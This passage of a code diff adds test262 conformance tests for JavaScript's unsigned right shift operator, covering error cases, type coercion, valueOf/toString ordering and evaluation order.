+ * Operator x >>> y uses GetValue
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A2.1_T3.js
+ * @description If GetBase(y) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ 1 >>> y;
+ $ERROR('#1.1: 1 >>> y throw ReferenceError. Actual: ' + (1 >>> y));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 >>> y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.2_T1.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.2_T1.js
new file mode 100644
index 000000000..f678b914d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.2_T1.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >>> y uses [[Default Value]]
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A2.2_T1.js
+ * @description If Type(value) is Object, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+if ({valueOf: function() {return -4}} >>> 1 !== 2147483646) {
+ $ERROR('#1: {valueOf: function() {return -4}} >>> 1 === 2147483646. Actual: ' + ({valueOf: function() {return -4}} >>> 1));
+}
+
+//CHECK#2
+if ({valueOf: function() {return -4}, toString: function() {return 0}} >>> 1 !== 2147483646) {
+ $ERROR('#2: {valueOf: function() {return -4}, toString: function() {return 0}} >>> 1 === 2147483646. Actual: ' + ({valueOf: function() {return -4}, toString: function() {return 0}} >>> 1));
+}
+
+//CHECK#3
+if ({valueOf: function() {return -4}, toString: function() {return {}}} >>> 1 !== 2147483646) {
+ $ERROR('#3: {valueOf: function() {return -4}, toString: function() {return {}}} >>> 1 === 2147483646. Actual: ' + ({valueOf: function() {return -4}, toString: function() {return {}}} >>> 1));
+}
+
+//CHECK#4
+try {
+ if ({valueOf: function() {return -4}, toString: function() {throw "error"}} >>> 1 !== 2147483646) {
+ $ERROR('#4.1: {valueOf: function() {return -4}, toString: function() {throw "error"}} >>> 1 === 2147483646. Actual: ' + ({valueOf: function() {return -4}, toString: function() {throw "error"}} >>> 1));
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: {valueOf: function() {return -4}, toString: function() {throw "error"}} >>> 1 not throw "error"');
+ } else {
+ $ERROR('#4.3: {valueOf: function() {return -4}, toString: function() {throw "error"}} >>> 1 not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+if (-4 >>> {toString: function() {return 1}} !== 2147483646) {
+ $ERROR('#5: -4 >>> {toString: function() {return 1}} === 2147483646. Actual: ' + (-4 >>> {toString: function() {return 1}}));
+}
+
+//CHECK#6
+if (-4 >>> {valueOf: function() {return {}}, toString: function() {return 1}} !== 2147483646) {
+ $ERROR('#6: -4 >>> {valueOf: function() {return {}}, toString: function() {return 1}} === 2147483646. Actual: ' + (-4 >>> {valueOf: function() {return {}}, toString: function() {return 1}}));
+}
+
+//CHECK#7
+try {
+ -4 >>> {valueOf: function() {throw "error"}, toString: function() {return 1}};
+ $ERROR('#7.1: -4 >>> {valueOf: function() {throw "error"}, toString: function() {return 1}} throw "error". Actual: ' + (-4 >>> {valueOf: function() {throw "error"}, toString: function() {return 1}}));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: -4 >>> {valueOf: function() {throw "error"}, toString: function() {return 1}} throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ -4 >>> {valueOf: function() {return {}}, toString: function() {return {}}};
+ $ERROR('#8.1: -4 >>> {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (e));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: -4 >>> {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.3_T1.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.3_T1.js
new file mode 100644
index 000000000..717afe75d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.3_T1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToNumber(first expression) is called first, and then ToNumber(second expression)
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A2.3_T1.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = { valueOf: function () { throw "x"; } };
+var y = { valueOf: function () { throw "y"; } };
+try {
+ x >>> y;
+ $ERROR('#1.1: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x >>> y throw "x". Actual: ' + (x >>> y));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: ToNumber(first expression) is called first, and then ToNumber(second expression)');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x >>> y throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.4_T1.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.4_T1.js
new file mode 100644
index 000000000..7291d20fd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.4_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var x = 0;
+if ((x = 1) >>> x !== 0) {
+ $ERROR('#1: var x = 0; (x = 1) >>> x === 0. Actual: ' + ((x = 1) >>> x));
+}
+
+//CHECK#2
+var x = -4;
+if (x >>> (x = 1) !== 2147483646) {
+ $ERROR('#2: var x = -4; x >>> (x = 1) === 2147483646. Actual: ' + (x >>> (x = 1)));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.4_T2.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.4_T2.js
new file mode 100644
index 000000000..84069b1f1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() >>> y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() >>> y() throw "x". Actual: ' + (x() >>> y()));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() >>> y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.4_T3.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.4_T3.js
new file mode 100644
index 000000000..72f08b3ee
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A2.4_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A2.4_T3.js
+ * @description Checking with undeclarated variables
+ */
+
+//CHECK#1
+try {
+ x >>> (x = 1);
+ $ERROR('#1.1: x >>> (x = 1) throw ReferenceError. Actual: ' + (x >>> (x = 1)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x >>> (x = 1) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if ((y = 1) >>> y !== 0) {
+ $ERROR('#2: (y = 1) >>> y === 0. Actual: ' + ((y = 1) >>> y));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T1.1.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T1.1.js
new file mode 100644
index 000000000..0d90bbd6f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T1.1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >>> y returns ToNumber(x) >>> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A3_T1.1.js
+ * @description Type(x) and Type(y) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+if (true >>> true !== 0) {
+ $ERROR('#1: true >>> true === 0. Actual: ' + (true >>> true));
+}
+
+//CHECK#2
+if (new Boolean(true) >>> true !== 0) {
+ $ERROR('#2: new Boolean(true) >>> true === 0. Actual: ' + (new Boolean(true) >>> true));
+}
+
+//CHECK#3
+if (true >>> new Boolean(true) !== 0) {
+ $ERROR('#3: true >>> new Boolean(true) === 0. Actual: ' + (true >>> new Boolean(true)));
+}
+
+//CHECK#4
+if (new Boolean(true) >>> new Boolean(true) !== 0) {
+ $ERROR('#4: new Boolean(true) >>> new Boolean(true) === 0. Actual: ' + (new Boolean(true) >>> new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T1.2.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T1.2.js
new file mode 100644
index 000000000..48d41b63a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T1.2.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >>> y returns ToNumber(x) >>> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A3_T1.2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+if (1 >>> 1 !== 0) {
+ $ERROR('#1: 1 >>> 1 === 0. Actual: ' + (1 >>> 1));
+}
+
+//CHECK#2
+if (new Number(1) >>> 1 !== 0) {
+ $ERROR('#2: new Number(1) >>> 1 === 0. Actual: ' + (new Number(1) >>> 1));
+}
+
+//CHECK#3
+if (1 >>> new Number(1) !== 0) {
+ $ERROR('#3: 1 >>> new Number(1) === 0. Actual: ' + (1 >>> new Number(1)));
+}
+
+//CHECK#4
+if (new Number(1) >>> new Number(1) !== 0) {
+ $ERROR('#4: new Number(1) >>> new Number(1) === 0. Actual: ' + (new Number(1) >>> new Number(1)));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T1.3.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T1.3.js
new file mode 100644
index 000000000..60bf9d310
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T1.3.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >>> y returns ToNumber(x) >>> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A3_T1.3.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+if ("1" >>> "1" !== 0) {
+ $ERROR('#1: "1" >>> "1" === 0. Actual: ' + ("1" >>> "1"));
+}
+
+//CHECK#2
+if (new String("1") >>> "1" !== 0) {
+ $ERROR('#2: new String("1") >>> "1" === 0. Actual: ' + (new String("1") >>> "1"));
+}
+
+//CHECK#3
+if ("1" >>> new String("1") !== 0) {
+ $ERROR('#3: "1" >>> new String("1") === 0. Actual: ' + ("1" >>> new String("1")));
+}
+
+//CHECK#4
+if (new String("1") >>> new String("1") !== 0) {
+ $ERROR('#4: new String("1") >>> new String("1") === 0. Actual: ' + (new String("1") >>> new String("1")));
+}
+
+//CHECK#5
+if ("x" >>> "1" !== 0) {
+ $ERROR('#5: "x" >>> "1" === 0. Actual: ' + ("x" >>> "1"));
+}
+
+//CHECK#6
+if ("1" >>> "x" !== 1) {
+ $ERROR('#6: "1" >>> "x" === 1. Actual: ' + ("1" >>> "x"));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T1.4.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T1.4.js
new file mode 100644
index 000000000..8da5b55c1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T1.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >>> y returns ToNumber(x) >>> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A3_T1.4.js
+ * @description Type(x) and Type(y) vary between Null and Undefined
+ */
+
+//CHECK#1
+if (null >>> undefined !== 0) {
+ $ERROR('#1: null >>> undefined === 0. Actual: ' + (null >>> undefined));
+}
+
+//CHECK#2
+if (undefined >>> null !== 0) {
+ $ERROR('#2: undefined >>> null === 0. Actual: ' + (undefined >>> null));
+}
+
+//CHECK#3
+if (undefined >>> undefined !== 0) {
+ $ERROR('#3: undefined >>> undefined === 0. Actual: ' + (undefined >>> undefined));
+}
+
+//CHECK#4
+if (null >>> null !== 0) {
+ $ERROR('#4: null >>> null === 0. Actual: ' + (null >>> null));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T1.5.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T1.5.js
new file mode 100644
index 000000000..aa023e286
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T1.5.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >>> y returns ToNumber(x) >>> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A3_T1.5.js
+ * @description Type(x) and Type(y) vary between Object object and Function object
+ */
+
+//CHECK#1
+if (({} >>> function(){return 1}) !== 0) {
+ $ERROR('#1: ({} >>> function(){return 1}) === 0. Actual: ' + (({} >>> function(){return 1})));
+}
+
+//CHECK#2
+if ((function(){return 1} >>> {}) !== 0) {
+ $ERROR('#2: (function(){return 1} >>> {}) === 0. Actual: ' + ((function(){return 1} >>> {})));
+}
+
+//CHECK#3
+if ((function(){return 1} >>> function(){return 1}) !== 0) {
+ $ERROR('#3: (function(){return 1} >>> function(){return 1}) === 0. Actual: ' + ((function(){return 1} >>> function(){return 1})));
+}
+
+//CHECK#4
+if (({} >>> {}) !== 0) {
+ $ERROR('#4: ({} >>> {}) === 0. Actual: ' + (({} >>> {})));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.1.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.1.js
new file mode 100644
index 000000000..ef7427e70
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >>> y returns ToNumber(x) >>> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A3_T2.1.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true >>> 1 !== 0) {
+ $ERROR('#1: true >>> 1 === 0. Actual: ' + (true >>> 1));
+}
+
+//CHECK#2
+if (1 >>> true !== 0) {
+ $ERROR('#2: 1 >>> true === 0. Actual: ' + (1 >>> true));
+}
+
+//CHECK#3
+if (new Boolean(true) >>> 1 !== 0) {
+ $ERROR('#3: new Boolean(true) >>> 1 === 0. Actual: ' + (new Boolean(true) >>> 1));
+}
+
+//CHECK#4
+if (1 >>> new Boolean(true) !== 0) {
+ $ERROR('#4: 1 >>> new Boolean(true) === 0. Actual: ' + (1 >>> new Boolean(true)));
+}
+
+//CHECK#5
+if (true >>> new Number(1) !== 0) {
+ $ERROR('#5: true >>> new Number(1) === 0. Actual: ' + (true >>> new Number(1)));
+}
+
+//CHECK#6
+if (new Number(1) >>> true !== 0) {
+ $ERROR('#6: new Number(1) >>> true === 0. Actual: ' + (new Number(1) >>> true));
+}
+
+//CHECK#7
+if (new Boolean(true) >>> new Number(1) !== 0) {
+ $ERROR('#7: new Boolean(true) >>> new Number(1) === 0. Actual: ' + (new Boolean(true) >>> new Number(1)));
+}
+
+//CHECK#8
+if (new Number(1) >>> new Boolean(true) !== 0) {
+ $ERROR('#8: new Number(1) >>> new Boolean(true) === 0. Actual: ' + (new Number(1) >>> new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.2.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.2.js
new file mode 100644
index 000000000..04cf0bd1b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >>> y returns ToNumber(x) >>> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A3_T2.2.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+if ("1" >>> 1 !== 0) {
+ $ERROR('#1: "1" >>> 1 === 0. Actual: ' + ("1" >>> 1));
+}
+
+//CHECK#2
+if (1 >>> "1" !== 0) {
+ $ERROR('#2: 1 >>> "1" === 0. Actual: ' + (1 >>> "1"));
+}
+
+//CHECK#3
+if (new String("1") >>> 1 !== 0) {
+ $ERROR('#3: new String("1") >>> 1 === 0. Actual: ' + (new String("1") >>> 1));
+}
+
+//CHECK#4
+if (1 >>> new String("1") !== 0) {
+ $ERROR('#4: 1 >>> new String("1") === 0. Actual: ' + (1 >>> new String("1")));
+}
+
+//CHECK#5
+if ("1" >>> new Number(1) !== 0) {
+ $ERROR('#5: "1" >>> new Number(1) === 0. Actual: ' + ("1" >>> new Number(1)));
+}
+
+//CHECK#6
+if (new Number(1) >>> "1" !== 0) {
+ $ERROR('#6: new Number(1) >>> "1" === 0. Actual: ' + (new Number(1) >>> "1"));
+}
+
+//CHECK#7
+if (new String("1") >>> new Number(1) !== 0) {
+ $ERROR('#7: new String("1") >>> new Number(1) === 0. Actual: ' + (new String("1") >>> new Number(1)));
+}
+
+//CHECK#8
+if (new Number(1) >>> new String("1") !== 0) {
+ $ERROR('#8: new Number(1) >>> new String("1") === 0. Actual: ' + (new Number(1) >>> new String("1")));
+}
+
+//CHECK#9
+if ("x" >>> 1 !== 0) {
+ $ERROR('#9: "x" >>> 1 === 0. Actual: ' + ("x" >>> 1));
+}
+
+//CHECK#10
+if (1 >>> "x" !== 1) {
+ $ERROR('#10: 1 >>> "x" === 1. Actual: ' + (1 >>> "x"));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.3.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.3.js
new file mode 100644
index 000000000..658d6029c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >>> y returns ToNumber(x) >>> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A3_T2.3.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+if (1 >>> null !== 1) {
+ $ERROR('#1: 1 >>> null === 1. Actual: ' + (1 >>> null));
+}
+
+//CHECK#2
+if (null >>> 1 !== 0) {
+ $ERROR('#2: null >>> 1 === 0. Actual: ' + (null >>> 1));
+}
+
+//CHECK#3
+if (new Number(1) >>> null !== 1) {
+ $ERROR('#3: new Number(1) >>> null === 1. Actual: ' + (new Number(1) >>> null));
+}
+
+//CHECK#4
+if (null >>> new Number(1) !== 0) {
+ $ERROR('#4: null >>> new Number(1) === 0. Actual: ' + (null >>> new Number(1)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.4.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.4.js
new file mode 100644
index 000000000..a398f8a09
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >>> y returns ToNumber(x) >>> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A3_T2.4.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (1 >>> undefined !== 1) {
+ $ERROR('#1: 1 >>> undefined === 1. Actual: ' + (1 >>> undefined));
+}
+
+//CHECK#2
+if (undefined >>> 1 !== 0) {
+ $ERROR('#2: undefined >>> 1 === 0. Actual: ' + (undefined >>> 1));
+}
+
+//CHECK#3
+if (new Number(1) >>> undefined !== 1) {
+ $ERROR('#3: new Number(1) >>> undefined === 1. Actual: ' + (new Number(1) >>> undefined));
+}
+
+//CHECK#4
+if (undefined >>> new Number(1) !== 0) {
+ $ERROR('#4: undefined >>> new Number(1) === 0. Actual: ' + (undefined >>> new Number(1)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.5.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.5.js
new file mode 100644
index 000000000..83fc64bb2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.5.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >>> y returns ToNumber(x) >>> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A3_T2.5.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if (true >>> "1" !== 0) {
+ $ERROR('#1: true >>> "1" === 0. Actual: ' + (true >>> "1"));
+}
+
+//CHECK#2
+if ("1" >>> true !== 0) {
+ $ERROR('#2: "1" >>> true === 0. Actual: ' + ("1" >>> true));
+}
+
+//CHECK#3
+if (new Boolean(true) >>> "1" !== 0) {
+ $ERROR('#3: new Boolean(true) >>> "1" === 0. Actual: ' + (new Boolean(true) >>> "1"));
+}
+
+//CHECK#4
+if ("1" >>> new Boolean(true) !== 0) {
+ $ERROR('#4: "1" >>> new Boolean(true) === 0. Actual: ' + ("1" >>> new Boolean(true)));
+}
+
+//CHECK#5
+if (true >>> new String("1") !== 0) {
+ $ERROR('#5: true >>> new String("1") === 0. Actual: ' + (true >>> new String("1")));
+}
+
+//CHECK#6
+if (new String("1") >>> true !== 0) {
+ $ERROR('#6: new String("1") >>> true === 0. Actual: ' + (new String("1") >>> true));
+}
+
+//CHECK#7
+if (new Boolean(true) >>> new String("1") !== 0) {
+ $ERROR('#7: new Boolean(true) >>> new String("1") === 0. Actual: ' + (new Boolean(true) >>> new String("1")));
+}
+
+//CHECK#8
+if (new String("1") >>> new Boolean(true) !== 0) {
+ $ERROR('#8: new String("1") >>> new Boolean(true) === 0. Actual: ' + (new String("1") >>> new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.6.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.6.js
new file mode 100644
index 000000000..63d3e4263
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.6.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >>> y returns ToNumber(x) >>> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A3_T2.6.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if ("1" >>> undefined !== 1) {
+ $ERROR('#1: "1" >>> undefined === 1. Actual: ' + ("1" >>> undefined));
+}
+
+//CHECK#2
+if (undefined >>> "1" !== 0) {
+ $ERROR('#2: undefined >>> "1" === 0. Actual: ' + (undefined >>> "1"));
+}
+
+//CHECK#3
+if (new String("1") >>> undefined !== 1) {
+ $ERROR('#3: new String("1") >>> undefined === 1. Actual: ' + (new String("1") >>> undefined));
+}
+
+//CHECK#4
+if (undefined >>> new String("1") !== 0) {
+ $ERROR('#4: undefined >>> new String("1") === 0. Actual: ' + (undefined >>> new String("1")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.7.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.7.js
new file mode 100644
index 000000000..c19be4a7d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.7.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >>> y returns ToNumber(x) >>> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A3_T2.7.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+if ("1" >>> null !== 1) {
+ $ERROR('#1: "1" >>> null === 1. Actual: ' + ("1" >>> null));
+}
+
+//CHECK#2
+if (null >>> "1" !== 0) {
+ $ERROR('#2: null >>> "1" === 0. Actual: ' + (null >>> "1"));
+}
+
+//CHECK#3
+if (new String("1") >>> null !== 1) {
+ $ERROR('#3: new String("1") >>> null === 1. Actual: ' + (new String("1") >>> null));
+}
+
+//CHECK#4
+if (null >>> new String("1") !== 0) {
+ $ERROR('#4: null >>> new String("1") === 0. Actual: ' + (null >>> new String("1")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.8.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.8.js
new file mode 100644
index 000000000..98636ab0f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.8.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >>> y returns ToNumber(x) >>> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A3_T2.8.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (true >>> undefined !== 1) {
+ $ERROR('#1: true >>> undefined === 1. Actual: ' + (true >>> undefined));
+}
+
+//CHECK#2
+if (undefined >>> true !== 0) {
+ $ERROR('#2: undefined >>> true === 0. Actual: ' + (undefined >>> true));
+}
+
+//CHECK#3
+if (new Boolean(true) >>> undefined !== 1) {
+ $ERROR('#3: new Boolean(true) >>> undefined === 1. Actual: ' + (new Boolean(true) >>> undefined));
+}
+
+//CHECK#4
+if (undefined >>> new Boolean(true) !== 0) {
+ $ERROR('#4: undefined >>> new Boolean(true) === 0. Actual: ' + (undefined >>> new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.9.js b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.9.js
new file mode 100644
index 000000000..aacc034f5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.3/S11.7.3_A3_T2.9.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x >>> y returns ToNumber(x) >>> ToNumber(y)
+ *
+ * @path ch11/11.7/11.7.3/S11.7.3_A3_T2.9.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+if (true >>> null !== 1) {
+ $ERROR('#1: true >>> null === 1. Actual: ' + (true >>> null));
+}
+
+//CHECK#2
+if (null >>> true !== 0) {
+ $ERROR('#2: null >>> true === 0. Actual: ' + (null >>> true));
+}
+
+//CHECK#3
+if (new Boolean(true) >>> null !== 1) {
+ $ERROR('#3: new Boolean(true) >>> null === 1. Actual: ' + (new Boolean(true) >>> null));
+}
+
+//CHECK#4
+if (null >>> new Boolean(true) !== 0) {
